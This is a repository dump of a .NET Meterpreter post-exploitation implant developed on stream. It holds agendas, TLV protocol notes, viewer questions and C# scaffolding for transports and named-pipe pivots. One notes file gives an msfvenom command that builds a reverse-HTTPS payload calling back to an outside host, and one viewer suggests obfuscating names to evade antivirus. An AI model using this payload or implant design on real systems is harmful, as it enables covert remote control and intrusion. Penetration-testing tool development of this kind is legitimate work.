├── streams ├── 2019-05-01-Part-5 │ └── agenda.md ├── 2019-05-03-Part-6 │ └── agenda.md ├── 2019-05-06-Part-7 │ └── agenda.md ├── 2019-05-08-Part-8 │ ├── agenda.md │ └── notes.md ├── 2019-05-10-Part-9 │ └── agenda.md ├── 2019-05-13-Part-10 │ └── agenda.md ├── 2019-05-17-Part-11 │ └── agenda.md ├── 2019-04-27-Part-3 │ ├── agenda.md │ ├── version.md │ └── notes.md ├── 2019-04-29-Part-4 │ └── agenda.md ├── 2019-04-25-Part-2 │ ├── tlv.md │ └── notes.md └── 2019-04-23-Part-1 │ ├── questions.md │ └── notes.md ├── .github └── FUNDING.yml ├── src ├── metsrv.net35 │ ├── FileSystemFeature.cs │ ├── IPacketDispatcher.cs │ ├── Pivot │ │ ├── PivotEventArgs.cs │ │ ├── Pivot.cs │ │ ├── PivotListener.cs │ │ ├── NamedPipePivotListener.cs │ │ └── NamedPipePivot.cs │ ├── IPlugin.cs │ ├── Native │ │ ├── Advapi32.cs │ │ ├── Mpr.cs │ │ ├── Kernel32.cs │ │ ├── User32.cs │ │ └── Ntdll.cs │ ├── Extensions │ │ ├── DateTimeExtensions.cs │ │ ├── ByteArrayExtensions.cs │ │ ├── EnumExtensions.cs │ │ ├── UnicastIPAddressInformationExtensions.cs │ │ ├── IEnumerableExtensions.cs │ │ ├── ObjectExtensions.cs │ │ ├── BinaryWriterExtensions.cs │ │ ├── FileSystemExtensions.cs │ │ ├── ProcessExtensions.cs │ │ ├── TlvDictionaryExtensions.cs │ │ └── BinaryReaderExtensions.cs │ ├── Trans │ │ ├── ITransport.cs │ │ ├── TransportConfig.cs │ │ ├── TcpTransport.cs │ │ └── HttpTransport.cs │ ├── Proto │ │ ├── ITlv.cs │ │ ├── PacketEncryptor.cs │ │ └── Packet.cs │ ├── Session.cs │ ├── Helpers.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── PivotManager.cs │ ├── Channel.cs │ ├── CommandHandler.cs │ ├── metsrv.net35.csproj │ ├── PluginManager.cs │ └── ChannelManager.cs ├── stdapi.net35 │ ├── Channel │ │ ├── AudioOutputChannel.cs │ │ ├── TcpServerChannel.cs │ │ ├── FileChannel.cs │ │ ├── ProcessChannel.cs │ │ └── TcpClientChannel.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── SysPower.cs │ ├── StdapiPlugin.cs │ ├── NetConfig.cs │ ├── stdapi.net35.csproj │ └── SysConfig.cs ├── metsrv.net40 │ ├── Properties │ │ └── AssemblyInfo.cs │ └── metsrv.net40.csproj ├── stdapi.net40 │ ├── Properties │ │ └── AssemblyInfo.cs │ └── stdapi.net40.csproj ├── TestConsole.net35 │ ├── Properties │ │ └── AssemblyInfo.cs │ └── TestConsole.net35.csproj ├── TestConsole.net40 │ ├── Properties │ │ └── AssemblyInfo.cs │ └── TestConsole.net40.csproj └── meterpreter.net.sln ├── README.md ├── Parts-1-to-10.md ├── .gitignore ├── Parts-21-to-30.md ├── Parts-11-to-20.md └── Parts-31-to-40.md /streams/2019-05-01-Part-5/agenda.md: -------------------------------------------------------------------------------- 1 | # CODING 2 | -------------------------------------------------------------------------------- /streams/2019-05-03-Part-6/agenda.md: -------------------------------------------------------------------------------- 1 | # CODING 2 | -------------------------------------------------------------------------------- /streams/2019-05-06-Part-7/agenda.md: -------------------------------------------------------------------------------- 1 | # CODING 2 | -------------------------------------------------------------------------------- /streams/2019-05-08-Part-8/agenda.md: -------------------------------------------------------------------------------- 1 | # CODING 2 | -------------------------------------------------------------------------------- /streams/2019-05-10-Part-9/agenda.md: -------------------------------------------------------------------------------- 1 | # CODING 2 | -------------------------------------------------------------------------------- /streams/2019-05-13-Part-10/agenda.md: -------------------------------------------------------------------------------- 1 | # CODING 2 | -------------------------------------------------------------------------------- /streams/2019-05-17-Part-11/agenda.md: -------------------------------------------------------------------------------- 1 | # CODING 2 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: OJ 4 | patreon: OJReeves 5 | ko_fi: OJReeves 6 | -------------------------------------------------------------------------------- /src/metsrv.net35/FileSystemFeature.cs: -------------------------------------------------------------------------------- 1 | namespace Met.Core 2 | { 3 | public class FileSystemFeature 4 | { 5 | } 6 | } -------------------------------------------------------------------------------- /src/metsrv.net35/IPacketDispatcher.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | 3 | namespace Met.Core 4 | { 5 | public interface IPacketDispatcher 6 | { 7 | void DispatchPacket(Packet packet); 8 | void DispatchPacket(byte[] rawPacket); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/metsrv.net35/Pivot/PivotEventArgs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Met.Core.Pivot 4 | { 5 | public class PivotEventArgs : EventArgs 6 | { 7 | public Pivot Pivot { get; } 8 | 9 | public PivotEventArgs(Pivot pivot) 10 | { 11 | Pivot = pivot; 12 | } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/metsrv.net35/IPlugin.cs: -------------------------------------------------------------------------------- 1 | namespace Met.Core 2 | { 3 | public interface IPlugin 4 | { 5 | string Name { get; } 6 | void Init(byte[] initBytes); 7 | void Register(PluginManager pluginManager, ChannelManager channelManager); 8 | void Unregister(PluginManager pluginManager, ChannelManager channelManager); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/metsrv.net35/Native/Advapi32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace Met.Core.Native 5 | { 6 | public static class Advapi32 7 | { 8 | [DllImport("advapi32.dll", SetLastError = true)] 9 | public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /streams/2019-04-27-Part-3/agenda.md: -------------------------------------------------------------------------------- 1 | * Future-proofing 2 | 3 | * Overengineering & "just in case" 4 | * Premature Optimisation 5 | 6 | 1. make it work 7 | 2. make it good 8 | 3. make it fast 9 | 10 | Sorting 11 | * Bubble sort 12 | * Quicksort 13 | * Insertion sort 14 | * Timsort 15 | * Mergesort 16 | * Heapsort 17 | * Combsort 18 | * Cocktail sort 19 | * Sleepsort 20 | * Bozosort / Bogosort 21 | -------------------------------------------------------------------------------- /streams/2019-05-08-Part-8/notes.md: -------------------------------------------------------------------------------- 1 | msfvenom -p windows/meterpreter_reverse_https LHOST=foo.com LPORT=443 EXTENSIONS=stdapi,priv,powershell,python EXTINIT=powershell,/tmp/addtransports.ps1:python,/tmp/foo.py -o /tmp/output.exe 2 | 3 | Add-WebTransport -Url https://fddfjsdlfds 4 | Add-TcpTransport -Host bar.com -Port 432432 5 | 6 | meterpreter> powershell_shell 7 | PS> Get-Help Add-WebTransport -Full 8 | 9 | -------------------------------------------------------------------------------- /streams/2019-04-29-Part-4/agenda.md: -------------------------------------------------------------------------------- 1 | * Thank you Patreons! 2 | * Questions as always. 3 | * Quick recap of version concerns. 4 | * Look at poll results. 5 | * Make a decision on the Framework version to use with CLR 2.0. 6 | - 3.5 for CLR 2 7 | - 4.0 for CLR 4 8 | * Make a decision on the VS version -- 2017 9 | * Briefly cover OPSEC. 10 | 11 | * Get started on project structure. 12 | * Possibly write some code!? 13 | -------------------------------------------------------------------------------- /streams/2019-04-27-Part-3/version.md: -------------------------------------------------------------------------------- 1 | Which version should we use? 2 | ============================ 3 | 4 | * We are NOT going to use .NET 1.x -- it's too old. 5 | * We can't target a single version and have it work everywhere. 6 | * This means that we need to build multiple versions. 7 | * CLR v2.0 and CLR 4 need to be supported 8 | - For 2.0 we'll use .NET Framework version ... ? (TBA) 9 | - For 4 we'll use .NET Framework 4.0 10 | -------------------------------------------------------------------------------- /src/metsrv.net35/Pivot/Pivot.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Met.Core.Pivot 4 | { 5 | public abstract class Pivot 6 | { 7 | public Guid Id { get; } 8 | protected IPacketDispatcher PacketDispacher { get; } 9 | 10 | public Pivot(IPacketDispatcher packetDispacher) 11 | { 12 | Id = Guid.NewGuid(); 13 | PacketDispacher = packetDispacher; 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/DateTimeExtensions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Met.Core.Extensions 4 | { 5 | public static class DateTimeExtensions 6 | { 7 | public static ulong ToUnixTimestamp(this DateTime dateTime) 8 | { 9 | return (ulong)(TimeZoneInfo.ConvertTimeToUtc(dateTime) - 10 | new DateTime(1970, 1, 1, 0, 0, 0, 0, System.DateTimeKind.Utc)).TotalSeconds; 11 | } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/ByteArrayExtensions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace Met.Core.Extensions 7 | { 8 | public static class ByteArrayExtensions 9 | { 10 | public static void Xor(this byte[] target, byte[] xorKey) 11 | { 12 | for (int i = 0; i < target.Length; ++i) 13 | { 14 | target[i] ^= xorKey[i % xorKey.Length]; 15 | } 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/EnumExtensions.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | using System; 3 | 4 | namespace Met.Core.Extensions 5 | { 6 | public static class EnumExtensions 7 | { 8 | public static MetaType ToMetaType(this TlvType tlvType) 9 | { 10 | return (MetaType)((TlvType)MetaType.All & tlvType); 11 | } 12 | 13 | public static bool HasFlag(this Enum mask, Enum flag) 14 | { 15 | return (Convert.ToUInt64(mask) & Convert.ToUInt64(flag)) == Convert.ToUInt64(flag); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/UnicastIPAddressInformationExtensions.cs: -------------------------------------------------------------------------------- 1 | using System.Net.NetworkInformation; 2 | 3 | namespace Met.Core.Extensions 4 | { 5 | public static class UnicastIPAddressInformationExtensions 6 | { 7 | public static uint GetPrefixLength(this UnicastIPAddressInformation addr) 8 | { 9 | #if NET40 10 | return (uint)addr.GetPrivateProperty("PrefixLength"); 11 | #else 12 | var adapterAddress = addr.GetPrivateField("adapterAddress"); 13 | return adapterAddress.GetPrivateField("length"); 14 | #endif 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/metsrv.net35/Trans/ITransport.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | using System; 3 | using System.IO; 4 | 5 | namespace Met.Core.Trans 6 | { 7 | public interface ITransport : IDisposable 8 | { 9 | TransportConfig Config { get; } 10 | bool IsConnected { get; } 11 | 12 | void Configure(BinaryReader reader); 13 | void Configure(Packet request); 14 | bool Connect(); 15 | void Disconnect(); 16 | 17 | Packet ReceivePacket(PacketEncryptor packetEncryptor); 18 | void SendPacket(byte[] responsePacket); 19 | void GetConfig(ITlv tlv); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/metsrv.net35/Proto/ITlv.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | namespace Met.Core.Proto 5 | { 6 | public interface ITlv 7 | { 8 | Dictionary> Tlvs { get; } 9 | 10 | Tlv Add(TlvType type, string value); 11 | Tlv Add(TlvType type, bool value); 12 | Tlv Add(TlvType type, byte[] value); 13 | Tlv Add(TlvType type, byte[] value, int size); 14 | Tlv Add(TlvType type, UInt32 value); 15 | Tlv Add(TlvType type, UInt64 value); 16 | Tlv Add(TlvType type, T value) where T : struct; 17 | Tlv AddGroup(TlvType type); 18 | Tlv Add(Tlv tlv); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/metsrv.net35/Pivot/PivotListener.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Met.Core.Pivot 4 | { 5 | public abstract class PivotListener 6 | { 7 | public Guid Id { get; } 8 | protected IPacketDispatcher PacketDispatcher { get; } 9 | 10 | public delegate void PivotAddedHandler(PivotEventArgs args); 11 | 12 | public event PivotAddedHandler PivotAdded; 13 | 14 | public PivotListener(IPacketDispatcher packetDispatcher, Guid id) 15 | { 16 | PacketDispatcher = packetDispatcher; 17 | Id = id; 18 | } 19 | 20 | protected void FirePivotAdded(Pivot pivot) 21 | { 22 | PivotAdded?.Invoke(new PivotEventArgs(pivot)); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/metsrv.net35/Native/Mpr.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace Met.Core.Native 5 | { 6 | public static class Mpr 7 | { 8 | public enum InfoLevel : int 9 | { 10 | UNIVERSAL_NAME_INFO_LEVEL = 0x00000001 11 | } 12 | 13 | public enum GetUniversalNameResult : int 14 | { 15 | ERROR_MORE_DATA = 234, 16 | NOERROR = 0 17 | } 18 | 19 | [DllImport("mpr.dll", CharSet = CharSet.Unicode)] 20 | [return: MarshalAs(UnmanagedType.U4)] 21 | public static extern GetUniversalNameResult WNetGetUniversalName( 22 | string lpLocalPath, 23 | [MarshalAs(UnmanagedType.U4)] 24 | InfoLevel dwInfoLevel, 25 | IntPtr lpBuffer, 26 | [MarshalAs(UnmanagedType.U4)] 27 | ref int lpBufferSize); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/IEnumerableExtensions.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Linq; 3 | 4 | namespace Met.Core.Extensions 5 | { 6 | public static class IEnumerableExtensions 7 | { 8 | // [ [ 1, 2, 3 ], [ 4, 5, 6 ] ] => [ 1, 2, 3, 4, 5, 6 ] 9 | public static IEnumerable Flatten(this IEnumerable> elements) 10 | { 11 | return elements.SelectMany(x => x); 12 | } 13 | 14 | public static IEnumerable Flatten(this IEnumerable> elements) 15 | { 16 | return elements.SelectMany(x => x); 17 | } 18 | 19 | public static IEnumerable Cycle(this IEnumerable elements) 20 | { 21 | while (true) 22 | { 23 | foreach (var e in elements) 24 | { 25 | yield return e; 26 | } 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/metsrv.net35/Session.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using System; 3 | using System.IO; 4 | 5 | namespace Met.Core 6 | { 7 | public class Session 8 | { 9 | private const int UUID_SIZE = 16; 10 | 11 | public byte[] SessionGuid { get; set; } 12 | public byte[] SessionUuid { get; set; } 13 | public UInt32 ExitFunc { get; set; } 14 | public DateTime Expiry { get; set; } 15 | 16 | public Session(BinaryReader reader) 17 | { 18 | // Skip the first 4 bytes, because this contains a handle that .NET meterpreter 19 | // doesn't care about. 20 | reader.ReadQword(); 21 | 22 | this.ExitFunc = reader.ReadUInt32(); 23 | this.Expiry = DateTime.UtcNow.AddSeconds(reader.ReadUInt32()); 24 | this.SessionUuid = reader.ReadBytes(UUID_SIZE); 25 | this.SessionGuid = reader.ReadBytes(Guid.Empty.ToByteArray().Length); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/ObjectExtensions.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace Met.Core.Extensions 5 | { 6 | public static class ObjectExtensions 7 | { 8 | public static byte[] ToByteArray(this T structure) where T : struct 9 | { 10 | var size = Marshal.SizeOf(structure); 11 | var ptr = Marshal.AllocHGlobal(size); 12 | var result = new byte[size]; 13 | 14 | Marshal.StructureToPtr(structure, ptr, true); 15 | Marshal.Copy(ptr, result, 0, size); 16 | Marshal.FreeHGlobal(ptr); 17 | 18 | return result; 19 | } 20 | 21 | public static T GetPrivateProperty(this object obj, string name) 22 | { 23 | var property = obj.GetType().GetProperty(name, BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance); 24 | return (T)property.GetValue(obj, null); 25 | } 26 | 27 | public static T GetPrivateField(this object obj, string name) 28 | { 29 | var field = obj.GetType().GetField(name, BindingFlags.NonPublic | BindingFlags.Instance); 30 | return (T)field.GetValue(obj); 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /streams/2019-04-25-Part-2/tlv.md: -------------------------------------------------------------------------------- 1 | # Original Implementation 2 | 3 | The legend that is [Skape](https://twitter.com/epakskape) first implemented the TLV protocol back in 2004. For a good write up on that, and more, check out his [whitepaper](https://dev.metasploit.com/documents/meterpreter.pdf). 4 | 5 | # Current Implementation 6 | 7 | Single TLV: 8 | 9 | ``` 10 | 4 bytes 4 bytes 11 | [ LENGTH ][ TLV TYPE ][ -------- VALUE ---------] 12 | [ THIS IS THE LENGTH VALUE ] 13 | ``` 14 | 15 | TLVs are just appended together 16 | 17 | ``` 18 | [L][T][V][L][T][V][L][T][V][L][T][V][L][T][V][L][T][V] 19 | ``` 20 | 21 | Non-encrypted Packet: 22 | ``` 23 | 4 bytes 16 bytes 1 bytes 4 4 N bytes 24 | [ XOR KEY ][ SESSION GUID ][ ENCRYPTION FLAGS ][L][T][{ TLVs }] 25 | [ THIS IS XORED ] 26 | ``` 27 | 28 | Encrypted Packet: 29 | ``` 30 | ENCRYPTED DATA = [L][T][{ TLVs }] 31 | 4 bytes 16 bytes 1 bytes 4 16 bytes N bytes 32 | [ XOR KEY ][ SESSION GUID ][ ENCRYPTION FLAGS ][ LENGTH ][ Init Vec ][ ENCRYPTED DATA ] 33 | [ THIS IS XORED ] 34 | ``` 35 | 36 | -------------------------------------------------------------------------------- /src/metsrv.net35/Helpers.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Met.Core 4 | { 5 | public static class Helpers 6 | { 7 | public static TResult Try(T obj, Func f, TResult def = default(TResult)) 8 | { 9 | try 10 | { 11 | return f(obj); 12 | } 13 | #if DEBUG 14 | catch(Exception e) 15 | #else 16 | catch 17 | #endif 18 | { 19 | // gotta catch 'em all 20 | return def; 21 | } 22 | } 23 | 24 | public static void Try(T obj, Func f, Action a) 25 | { 26 | try 27 | { 28 | a(f(obj)); 29 | } 30 | #if DEBUG 31 | catch(Exception e) 32 | #else 33 | catch 34 | #endif 35 | { 36 | // gotta catch 'em all 37 | } 38 | } 39 | 40 | public static void Try(T obj, Action a) 41 | { 42 | try 43 | { 44 | a(obj); 45 | } 46 | #if DEBUG 47 | catch(Exception e) 48 | #else 49 | catch 50 | #endif 51 | { 52 | // gotta catch 'em all 53 | } 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/BinaryWriterExtensions.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | using System; 3 | using System.IO; 4 | using System.Net; 5 | using System.Text; 6 | 7 | namespace Met.Core.Extensions 8 | { 9 | public static class BinaryWriterExtensions 10 | { 11 | public static void WritePacketType(this BinaryWriter writer, PacketType type) 12 | { 13 | writer.WriteDword((UInt32)type); 14 | } 15 | 16 | public static void WriteTlvType(this BinaryWriter writer, TlvType type) 17 | { 18 | writer.WriteDword((UInt32)type); 19 | } 20 | 21 | public static void WriteDword(this BinaryWriter writer, UInt32 value) 22 | { 23 | writer.Write((UInt32)IPAddress.HostToNetworkOrder((int)value)); 24 | } 25 | 26 | public static void WriteDword(this BinaryWriter writer, int value) 27 | { 28 | writer.Write((UInt32)IPAddress.HostToNetworkOrder(value)); 29 | } 30 | 31 | public static void WriteQword(this BinaryWriter writer, UInt64 value) 32 | { 33 | writer.Write((UInt64)IPAddress.HostToNetworkOrder((long)value)); 34 | } 35 | 36 | public static void WriteString(this BinaryWriter writer, string value) 37 | { 38 | writer.Write(Encoding.UTF8.GetBytes(value + "\0")); 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/metsrv.net35/Pivot/NamedPipePivotListener.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO.Pipes; 3 | 4 | namespace Met.Core.Pivot 5 | { 6 | public class NamedPipePivotListener : PivotListener 7 | { 8 | private readonly string pipeName; 9 | private readonly byte[] stageData; 10 | 11 | public NamedPipePivotListener(IPacketDispatcher packetDispatcher, Guid id, string pipeName, byte[] stageData) 12 | : base(packetDispatcher, id) 13 | { 14 | this.pipeName = pipeName; 15 | this.stageData = stageData; 16 | WaitForConnection(); 17 | } 18 | 19 | private void WaitForConnection() 20 | { 21 | var server = new NamedPipeServerStream(pipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous); 22 | server.BeginWaitForConnection(this.HandleConnection, server); 23 | } 24 | 25 | private void HandleConnection(IAsyncResult result) 26 | { 27 | var server = (NamedPipeServerStream)result.AsyncState; 28 | try 29 | { 30 | server.EndWaitForConnection(result); 31 | var pivot = new NamedPipePivot(this.PacketDispatcher, server, this.stageData); 32 | FirePivotAdded(pivot); 33 | } 34 | catch 35 | { 36 | } 37 | 38 | WaitForConnection(); 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /streams/2019-04-23-Part-1/questions.md: -------------------------------------------------------------------------------- 1 | # From Smashery 2 | 3 | - Are we going to be using Nuget? 4 | 5 | # From FireFart 6 | 7 | - I think the part where you need to agree on a minimum supported version will be the hardest to begin with as many .NET features will not be available if you target an older CLR like 2.0 (Tasks for example). Maybe it helps if we choose the supported OS before, because that will already limit the versions. I think XP can be handled by older meterpreter for example. Maybe you can also say meterpreter is only for Win10/Server2016 and up, older OS need to use the old meterpreter. This would simplify development, because you can make use of "all the new cool shit" :) 8 | - Can we add transport and protocol level encryption by default on the new implementation? So not even add an option to disable encryption (on TLV packets for example) 9 | - will the stagers also be .NET based or is the plan to use the old stagers to load the new meterpreter code? 10 | - should we think about obfuscating (at least class names) during compile time to beat some simple pattern based AVs? 11 | - I would love to see some unit tests during development to make sure the code works and to also use it to document some use cases and how the code should behave 12 | - btw you can also think about some powershell wrapper that simply calls the meterpreter.dll (but would touch disk). but this way you would have an easy powershell meterpreter as it simply calls the native functions. But powershell CLR mode will prevent that :) 13 | - another point is .NET client profile or the full one 14 | -------------------------------------------------------------------------------- /src/stdapi.net35/Channel/AudioOutputChannel.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | using System.IO; 3 | 4 | namespace Met.Stdapi.Channel 5 | { 6 | public class AudioOutputChannel : Core.Channel 7 | { 8 | private readonly MemoryStream soundBuffer; 9 | 10 | public AudioOutputChannel(Core.ChannelManager channelManager) 11 | : base(channelManager) 12 | { 13 | this.soundBuffer = new MemoryStream(); 14 | } 15 | 16 | protected override PacketResult WriteInternal(byte[] data, int bytesToWrite, out int bytesWritten) 17 | { 18 | this.soundBuffer.Write(data, 0, bytesToWrite); 19 | bytesWritten = bytesToWrite; 20 | return PacketResult.Success; 21 | } 22 | 23 | public override void Close() 24 | { 25 | this.soundBuffer.Seek(0, SeekOrigin.Begin); 26 | try 27 | { 28 | using (var player = new System.Media.SoundPlayer(this.soundBuffer)) 29 | { 30 | player.PlaySync(); 31 | } 32 | } 33 | catch 34 | { 35 | // sound file might be invalid, so bail out quietly. 36 | } 37 | this.soundBuffer.Dispose(); 38 | } 39 | 40 | public static AudioOutputChannel Create(Core.ChannelManager channelManager, Packet request, Packet response) 41 | { 42 | return new AudioOutputChannel(channelManager); 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/metsrv.net35/Native/Kernel32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Text; 4 | 5 | namespace Met.Core.Native 6 | { 7 | public static class Kernel32 8 | { 9 | [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)] 10 | [return: MarshalAs(UnmanagedType.Bool)] 11 | public static extern bool IsWow64Process([In] IntPtr process, [Out] out bool wow64Process); 12 | 13 | [DllImport("kernel32.dll", SetLastError = true)] 14 | [return: MarshalAs(UnmanagedType.Bool)] 15 | public static extern bool CloseHandle(IntPtr hObject); 16 | 17 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 18 | public static extern uint GetShortPathName( 19 | [MarshalAs(UnmanagedType.LPTStr)] 20 | string lpszLongPath, 21 | [MarshalAs(UnmanagedType.LPTStr)] 22 | StringBuilder lpszShortPath, 23 | int cchBuffer); 24 | 25 | [DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 26 | [return: MarshalAs(UnmanagedType.Bool)] 27 | public extern static bool GetVolumeInformation( 28 | string rootPathName, 29 | StringBuilder volumeName, 30 | int volumeNameSize, 31 | out uint volumeSerialNumber, 32 | out uint maximumComponentLength, 33 | out uint fileSystemFlags, 34 | StringBuilder fileSystemName, 35 | int fileSystemNameSize); 36 | 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/metsrv.net35/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("metsrv.net35")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("metsrv.net35")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e05d0deb-d724-4448-8c4c-53d6a8e670f3")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /src/metsrv.net40/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("metsrv.net40")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("metsrv.net40")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("67c09d37-ac18-4f15-8dd6-b5da721c0df6")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /src/stdapi.net35/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("stdapi.net35")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("stdapi.net35")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("3296e4a3-94b5-4232-b423-44f4c7421cb3")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /src/stdapi.net40/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("stdapi.net40")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("stdapi.net40")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | 